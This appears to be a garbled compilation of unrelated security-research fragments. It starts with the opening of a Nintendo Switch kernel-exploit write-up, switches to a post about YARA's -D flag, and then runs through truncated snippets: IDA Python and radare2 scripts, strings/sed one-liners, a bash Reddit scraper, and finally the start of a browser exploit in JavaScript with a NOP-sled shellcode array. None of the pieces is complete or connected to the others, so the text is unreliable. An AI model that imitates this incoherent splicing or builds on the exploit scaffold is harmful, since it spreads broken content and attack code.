Zhang M1suzu

The following is a write-up of how I initially achieved kernel code execution on the Nintendo Switch, very much inspired by hexkyz's write-ups. The work discussed was completed over the course of a single conversation between hthh and I during the evening of November 21st, 2017. A number of snippets are attached from that conversation as inline links, in the hopes that they'll be interesting to readers.

Background information

I would recommend one read hexkyz's recent write-up on how the switch was broken into via GPU DMA attacks. It's a great read!

In particular, he describes:

Additionally, the kernel itself would start allocating memory outside of the carveout region

Using YARA python interface to parse files

I've shared this technique with some people privately, but might as well share it publicly now since I was asked about it. I've been using this for a while now with good success. It works well for parsing .NET droppers and other things.

If you don't know what the -D flag to YARA does I suggest you import a module and run a file through using that flag. It will print, to stdout, everything the module parsed that doesn't involve you calling a function. This is a great way to get a quick idea for the structure of a file.

For example:

wxs@mbp yara % cat always_false.yara

	import idc
	import idautils
	import idaapi

	FUNCTIONS_REGISTERS = {"g_log": "rcx", "g_log_error": "rdx"}


	def get_string_for_function(call_func_addr, register):
	"""
	:param start_addr: The function call address

	Linux
	(strings -a -td "$@" \| sed 's/^\(\s[0-9][0-9]\) \(.\)$/\1 A \2/' ; strings -a -td -el "$@" \| sed 's/^\(\s[0-9][0-9]\) \(.\)$/\1 W \2/') \| sort -n

	macOS
	(gstrings -a -td "$@" \| gsed 's/^\(\s[0-9][0-9]\) \(.\)$/\1 A \2/' ; gstrings -a -td -el "$@" \| gsed 's/^\(\s[0-9][0-9]\) \(.\)$/\1 W \2/') \| sort -n

	#!/bin/bash

	# Variables
	BOLD='\033[1m'
	END='\033[0m'

	# Queries
	site_results=$(curl -Ls "https://www.reddit.com/search?q=site%3A$1" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" \| tidy -q 2> /dev/null \| grep "search-link")
	url_results=$(curl -Ls "https://www.reddit.com/search?q=url%3A$1" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" \| tidy -q 2> /dev/null \| grep "search-link")
	self_results=$(curl -Ls "https://www.reddit.com/search?q=selftext%3A$1" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" \| grep "search-title")

	'''
	Author: Matt Brooks, @cmatthewbrooks

	DESCRIPTION:

	The functoyara.py script will output an opcode-based YARA
	signature from the current function of the r2 session.

	ARGS:

	from idaapi import *

	# with code taken from
	# - http://hexblog.com/idapro/vmware_modules.py
	# - HexRays forum
	# - https://gist.github.com/nmulasmajic/f90661489f858237bcd68fbde5516abd#file-find_nt_imagebase_x64-py

	class LoadedModulesList(Choose2):

	def __init__(self, title, modlistEA=BADADDR, flags=0, width=None, height=None, embedded=False, modal=False):

	<script>
	function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }

	var sc = [];
	for (var i=0; i<0x480; i++) {
	sc.push(0x90);
	}
	//sc.push(0xcc);
	//sc.push(0xeb);
	//sc.push(0xfe);